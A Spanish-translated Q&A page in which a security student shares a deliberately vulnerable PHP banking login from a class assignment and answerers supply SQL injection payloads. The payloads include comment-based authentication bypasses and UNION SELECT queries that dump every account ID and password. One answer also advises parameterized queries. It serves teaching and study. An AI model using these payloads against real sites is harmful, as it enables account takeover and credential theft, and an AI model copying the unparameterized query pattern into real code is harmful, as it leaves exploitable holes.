reales pagina mas inyecciones inyeccion injection hackear evitar ejemplos ejemplo comunes comandos casos php mysql sql sql-injection

php - pagina - inyecciones sql mas comunes



Ataque de inyección SQL con php (7)

Básicamente, puedes atacar esto usando GET o POST . El método GET es mucho más fácil, simplemente cree un parámetro de URL llamado id con el SQL que desee inyectar.

http://www.somesite.com/FCCU.php?id=id --

Puede que tenga que codificarlo por URI, solo intente sin codificar primero. El servidor ejecutará la consulta:

SELECT * FROM accounts WHERE id = id -- AND password = ''$password''

Debido a que la condición de la contraseña está comentada y WHERE id = id es equivalente a WHERE TRUE , terminará funcionando de la misma manera que:

SELECT * FROM accounts

El valor de retorno de esa consulta se almacena en una variable, que contiene toda la información de la cuenta de todos en la base de datos del sitio. Ya que están pasando esa variable a su función de depuración, solo tiene que activar el modo de depuración y debe ver la información confidencial de inicio de sesión y contraseña de todos.

Esto es parte de una asignación para mi clase de seguridad informática, así que no estoy buscando respuestas específicas, solo algo de ayuda.

Nos dieron un programa defectuoso (en php) que controla una base de datos SQL (una cuenta bancaria) y tenemos que encontrar una manera de crear un ataque de inyección SQL que nos permita iniciar sesión en una cuenta sin saber su ID con antelación.

Estoy bastante seguro de saber dónde está la vulnerabilidad, pero parece que no logro que mis ataques funcionen.

El código en cuestión (es un poco largo, pero la única parte que importa está en la primera parte):

<html><head><title>FrobozzCo Community Credit Union</title></head> <body> <h1>FrobozzCo Community Credit Union</h1> <h4><i>We''re working for GUE</i></h4> <hr> <?php $debugmode = 1; function debug($msg) { global $debugmode; if ($debugmode) { echo "<h4>$msg</h4>/n"; } } $thispage = ''FCCU.php''; echo "<form action=''$thispage'' method=''post'' name=''theform''>/n"; $dbuser = ''fccu''; $dbpass = ''fccubucks''; $dbhost = ''localhost''; $dbname = $dbuser; $PARAM = array_merge($_GET, $_POST); // get username and password from form if (!$PARAM[''id''] || !$PARAM[''password'']) { login(); } else { // otherwise, attempt to authenticate $id = $PARAM[''id'']; $password = $PARAM[''password'']; $link_id = mysql_connect($dbhost, $dbuser, $dbpass); mysql_select_db($dbname); $query = "SELECT * FROM accounts WHERE id = $id AND password = ''$password''"; debug($query); $result = mysql_query($query) or die(mysql_error()); $row = mysql_fetch_array($result); // there should be only one row if (!$row) { // auth failure echo "<p><b>Your ID number and password you entered do not match.</b></p>"; echo "<p>Please try again.</p>"; login(); } else { // this user is authenticated! // store authentication information in this form echo "<input type=/"hidden/" name=/"id/" value=/"$id/" />/n"; echo "<input type=/"hidden/" name=/"password/" value=/"$password/" />/n"; banner($row); // perform any requested actions (wire, transfer, withdraw) if ($PARAM[''action''] == ''Transfer Money'') { transfer_funds($id, $password, $PARAM[''transfer_to''], $PARAM[''transfer_amount'']); } elseif ($PARAM[''action''] == ''Wire Money'') { wire_funds($id, $password, $PARAM[''routing''], $PARAM[''wire_acct''], $PARAM[''wire_amount'']); } elseif ($PARAM[''action''] == ''Withdraw Money'') { withdraw_cash($id, $password, $PARAM[''withdraw_amount'']); } // normal output // account info $query = "SELECT * FROM accounts WHERE id = $id AND password = ''$password''"; $result = mysql_query($query) or die(mysql_error()); $row = mysql_fetch_array($result); // there should be only one row account_info($row); // get current account list by name $query = "SELECT first, last FROM accounts ORDER BY last"; $names = mysql_query($query) or die(mysql_error()); account_actions($row, $names); } } echo "<hr>/n"; echo "Generated by FCCU.php at " . date("l M dS, Y, H:i:s",5678)."<br>"; function name_to_id($name) { global $dbhost, $dbuser, $dbpass, $dbname; $splitname = explode(", ", $name); $link_id = mysql_connect($dbhost, $dbuser, $dbpass); mysql_select_db($dbname); $query = "SELECT id FROM accounts WHERE first = ''$splitname[1]'' AND last = ''$splitname[0]''"; $result = mysql_query($query) or die(mysql_error()); $row = mysql_fetch_array($result); $id = $row[0]; return $id; } function action_error($msg, $error) { echo "<table bgcolor=''#ff0000'' color=''#ffffff'' align=center border=1> <tr><td><center><b>ERROR!</b></center></td></tr> <tr><td> <p align=''center''>$msg</p> <p align=''center''>Please go back and try again or contact tech support.</p> <p align=''center''><i>args: $error</i></p> <p align=''center''><input type=''submit'' name=''clear'' value=''Clear Message''></p> </td></tr> </table>"; } function withdraw_cash($id, $password, $amount) { global $dbhost, $dbuser, $dbpass, $dbname; $amount = floor($amount); $link_id = mysql_connect($dbhost, $dbuser, $dbpass); mysql_select_db($dbname); $query = "SELECT bal FROM accounts WHERE password = ''$password'' AND id = $id"; debug("126: ($password) " . $query); $result = mysql_query($query); $row = mysql_fetch_array($result); $giver_has = $row[0]; if ($amount > 0 && $giver_has >= $amount) { $giver_has = $giver_has - $amount; // there''s a problem here but it''s not SQL Injection... pretend("withdraw cash", $amount); $query = "UPDATE accounts SET bal = $giver_has WHERE password = ''$password'' AND id = $id LIMIT 1"; mysql_query($query) or die(mysql_error()); echo "<h2 align=''center''>Cash withdrawal of $$amount complete.</h2> <h3 align=''center''>Your cash should be ready in accounting within 45 minutes.</h3>/n"; } else { action_error("Problem with cash withdrawal!", "''$id'', ''$giver_has'', ''$amount''"); } } function wire_funds($id, $password, $bank, $account, $amount) { global $dbhost, $dbuser, $dbpass, $dbname; $amount = floor($amount); $link_id = mysql_connect($dbhost, $dbuser, $dbpass); mysql_select_db($dbname); $query = "SELECT bal FROM accounts WHERE password = ''$password'' AND id = $id"; debug($query); $result = mysql_query($query); $row = mysql_fetch_array($result); $giver_has = $row[0]; if ($amount > 0 && $giver_has >= $amount && $bank && $account) { $giver_has = $giver_has - $amount; // there''s a problem here but it''s not SQL Injection... pretend("wire money", $amount, $bank, $acct); $query = "UPDATE accounts SET bal = $giver_has WHERE password = ''$password'' AND id = $id LIMIT 1"; debug($query); mysql_query($query) or die(mysql_error()); echo "<h2 align=''center''>Wire of $$amount to bank ($bank) account ($account) complete.</h2>/n"; } else { action_error("Problem with wire fund transfer!", "''$id'', ''$amount'', ''$giver_has'', ''$bank'', ''$account''"); } } function pretend() { return 1; } function transfer_funds($giver_id, $password, $recipient, $amount) { global $dbhost, $dbuser, $dbpass, $dbname; $amount = floor($amount); $recipient_id = name_to_id($recipient); $link_id = mysql_connect($dbhost, $dbuser, $dbpass); mysql_select_db($dbname); $query = "SELECT bal FROM accounts WHERE id = $giver_id OR id = $recipient_id"; debug($query); $result = mysql_query($query); $row = mysql_fetch_array($result); $recipient_has = $row[0]; $row = mysql_fetch_array($result); $giver_has = $row[0]; debug("$giver_has, $recipient_has"); if ($amount > 0 && $giver_has >= $amount && $recipient_has) { $giver_has = $giver_has - $amount; // there''s a problem here but it''s not SQL Injection... $recipient_has = $recipient_has + $amount; // does anyone know what it is? $query = "UPDATE accounts SET bal = $recipient_has WHERE id = $recipient_id LIMIT 1"; debug($query); mysql_query($query) or die(mysql_error()); $query = "UPDATE accounts SET bal = $giver_has WHERE password = ''$password'' AND id = $giver_id LIMIT 1"; debug($query); mysql_query($query) or die(mysql_error()); echo "<h2 align=''center''>Transfer of $$amount to $recipient complete.</h2>/n"; } else { action_error("Problem with employee fund transfer!", "''$giver_id'', ''$recipient'', ''$amount'', ''$giver_has''"); } } function account_info($row) { echo "<table border=''1'' align=''center''> <tr><td colspan=''2''><p><center><b>Account Information</b></center></p></td></tr> <tr><td><b>Account:</b></td><td>$row[0]</td></tr> <tr><td><b>Balance:</b></td><td>$$row[1]</td></tr> <tr><td><b>Birthdate:</b></td><td>$row[6]</td></tr> <tr><td><b>SSN:</b></td><td>$row[5]</td></tr> <tr><td><b>Phone:</b></td><td>$row[4]</td></tr> <tr><td><b>Email:</b></td><td>$row[7]@frobozzco.com</td></tr> </table>/n"; } function account_actions($row, $names) { global $thispage; echo "<table border=1 width=''600'' align=''center''> <tr><td><center><b>Account Actions</b></center></td></tr> <tr><td><center><b>Wire Funds</b></center></td></tr> <tr><td> <p>To wire funds: enter the amount (in whole dollars), the receiving bank''s <b>routing number</b> and <b>receiving account number</b>, and press ''Wire Funds!''</p> Wire amount: $<input name=wire_amount /><br /> Routing Number: <input name=routing /> (e.g. 091000022)<br /> Account Number: <input name=wire_acct /> (e.g. 923884509)<br /> <p align=''center''><input type=''submit'' name=''action'' value=''Wire Money''></p> <p /> </td></tr> <tr><td><center><b>Transfer Money</b></center></td><tr> <tr><td><p>To transfer money to another FCCU account holder, select the employee from the drop-down menu below, enter an ammount (in whole dollars) to transfer, and press ''Transfer Money!''</p> Transfer Amount: $<input name=transfer_amount /><br /> Transfer To: "; // create dropdown menu with accounts echo "<select name=''transfer_to'' selected=''select employee''>/n"; echo "<option value=''nobody''>select employee</option>/n"; while ($name = mysql_fetch_array($names)) { echo "<option value=/"$name[1], $name[0]/">$name[1], $name[0]</option>/n"; } echo "</select>/n"; echo "<br /> <p align=''center''><input type=''submit'' name=''action'' value=''Transfer Money''></p> <p /> </td></tr> <tr><td><center><b>Withdraw Cash</b></center></td><tr> <tr><td><p>To withdraw cash, enter an amount (in whole dollars) and press the ''Withdraw Cash!'' button. The cash will be available in the accounting office within 45 minutes.</p> Withdraw Amount: $<input name=withdraw_amount /><br /> <p align=''center''><input type=''submit'' name=''action'' value=''Withdraw Money''></p> <p /> </td></tr> </table> /n"; } function banner($row) { global $thispage; $fullname = "$row[2] $row[3]"; echo "<table width=''100%''><tr><td> <p align=''left''>Welcome, $fullname. (<a href=''$thispage''>Log Out</a>)</p> </td><td> <p align=''right''><i>(If you aren''t $fullname, <a href=''$thispage''>click here</a>.)</i></p> </td></tr></table>/n"; echo "<hr>/n"; } function login() { global $thispage; echo "<p>Enter your <b>account ID</b> and password and click /"submit./"</p>/n"; echo "<table>/n"; echo "<tr><td>Account ID Number: </td><td><input name=''id'' cols=''10'' /></td></tr>/n"; echo "<tr><td>Password (alphanumeric only): </td><td><input name=''password'' cols=''30'' /></td></tr>/n"; echo "<tr><td><input type=''submit'' value=''Submit'' name=''submit''></td><td></td></tr>/n"; echo "</table>/n"; } ?> </form> <p>Done.</p> </body> </html>

La línea:

$query = "SELECT * FROM accounts WHERE id = $id AND password = ''$password''";

He intentado un par de cadenas en la entrada de ID (estoy trabajando desde mi navegador) como

100 OR id=id; 0 OR 1=1;

Para probar y comentar la parte de la contraseña del comando. Soy bastante nuevo en SQL, así que creo que simplemente estoy formateando este mal.

Eso o estoy completamente pasando por alto una hazaña más obvia.


Debe asegurarse de comentar el resto de la consulta, de modo que las citas no le hagan tropezar y se ignoren las cláusulas adicionales.

Intente establecer la ID en:

0 OR id=id --

El -- (eso es guión, guión, espacio: el espacio es importante) es un comentario en MySQL.


La explotación de las inyecciones de SQL es el arte de proporcionar valores que, cuando se incorporan a una declaración SQL, dan como resultado una sintaxis válida de la declaración SQL al cambiar la semántica que pretende el desarrollador a algunas que son rentables para un atacante.

Ahora, si nos fijamos en su intento con id que es 100 OR id=id; y la contraseña algo, el SQL resultante se parece a esto:

SELECT * FROM accounts WHERE id = 100 OR id=id; AND password = ''something''

Ahora tienes dos problemas con esto:

  1. mysql_query solo admite la ejecución de una declaración y emite un error si hay más de una declaración.
  2. Incluso si se admitieran varias declaraciones, el valor de retorno sería el resultado de la segunda declaración, lo que, obviamente, no es válido.

Entonces, para solucionar esto, la forma más fácil es inyectar un comment , su sintaxis es # o -- ( note el espacio al final ) para comentarios hasta el final de la línea. Así que puedes usar uno de los siguientes para id :

100 OR id=id # 100 OR id=id --

O inyectas una cláusula OR independiente sin comentarios como este:

100 OR id=id OR id

Esto resultaría en:

SELECT * FROM accounts WHERE id = 100 OR id=id OR id AND password = ''something''

Aquí el id=id es verdadero para cada fila.


La respuesta aceptada cubre las cosas.

Sin embargo, observo que en la pregunta original, un punto era "permitirnos iniciar sesión en una cuenta sin saber su ID antes de tiempo".

Asumiendo que conoce el nombre por adelantado (pero no el ID), entonces podría establecer id en algo como lo siguiente

0 OR (first=''joe'' AND last=''bloggs'') --

También me inclinaría por establecer una contraseña para algo como:

'' OR (first=''joe'' AND last=''bloggs'') --

De esta manera, las consultas que verifican la contraseña antes del ID de usuario (por ejemplo, la verificación del saldo) también podrían funcionar.

Para su diversión hay algo más que puede ser divertido probar. Establecer id a algo como esto: -

0 UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first=''joe'' AND last=''bloggs'') --

y contraseña para algo como esto: -

'' UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first=''joe'' AND last=''bloggs'') --

A continuación, debería colocar la contraseña real en la función account_info (es posible que deba agregar ", password" unas cuantas veces más, solo para que el recuento de columnas coincida con el número de columnas en la tabla de cuentas).

O si quieres todas las identificaciones: -

0 UNION SELECT -1, GROUP_CONCAT(CONCAT_ws('':'', id, password)), GROUP_CONCAT(CONCAT_ws('':'', id, password)), GROUP_CONCAT(CONCAT_ws('':'', id, password)), GROUP_CONCAT(CONCAT_ws('':'', id, password)), GROUP_CONCAT(CONCAT_ws('':'', id, password)), GROUP_CONCAT(CONCAT_ws('':'', id, password)), GROUP_CONCAT(CONCAT_ws('':'', id, password)), GROUP_CONCAT(CONCAT_ws('':'', id, password)) FROM accounts --

y contraseñas: -

'' UNION SELECT -1, GROUP_CONCAT(CONCAT_ws('':'', id, password)), GROUP_CONCAT(CONCAT_ws('':'', id, password)), GROUP_CONCAT(CONCAT_ws('':'', id, password)), GROUP_CONCAT(CONCAT_ws('':'', id, password)), GROUP_CONCAT(CONCAT_ws('':'', id, password)), GROUP_CONCAT(CONCAT_ws('':'', id, password)), GROUP_CONCAT(CONCAT_ws('':'', id, password)), GROUP_CONCAT(CONCAT_ws('':'', id, password)) FROM accounts --

Algo como esto debería darle todos los identificadores y contraseñas en el sistema (sujeto al límite de longitud máxima en GROUP_CONCAT). Entonces, puedes iniciar sesión con cualquier ID y contraseña que quisieras fácilmente después.

Copié su guión, hice una tabla de prueba y funcionó lo anterior.


Puede ingresar esto como id (ejemplo para cuenta con id 123):

123 OR 1=2

El truco es que la segunda parte se evalúa como FALSO y, por lo tanto, solo tiene el id = 123 como resultado. Usar una condición verdadera llevaría a todas las filas, por lo que probablemente obtendrías id = 1 si la tabla está ordenada.

El siguiente paso es verificar la página resultante y buscar en el campo de contraseña oculta . Entonces podrá enviar más consultas con el ID y la contraseña correctos.


Tú que estás en la escuela, no quiero simplemente darte la respuesta. :PAG

Dado el hecho de que la consulta no está parametrizada ...

Preste atención a la colocación de los apóstrofes.

Tenga en cuenta la consulta:

Select field FROM table WHERE field = ''<-- Note these -->''

¡Aunque estás en el camino correcto!

LECCIÓN

Siempre, siempre, siempre use consultas parametrizadas si puede. También PDO es una buena manera de acceder a DBs en PHP.

EJEMPLO

anything'' OR ''x''=''x <- Algo como esto (otra vez con los apóstrofes)


no es bueno hackear pero

SELECT * FROM accounts WHERE id = $id AND password = ''$password''"

en un campo de identificación

1 -- 2 --

o

1-- // without space 2--

Así podrás iniciar sesión como cada usuario.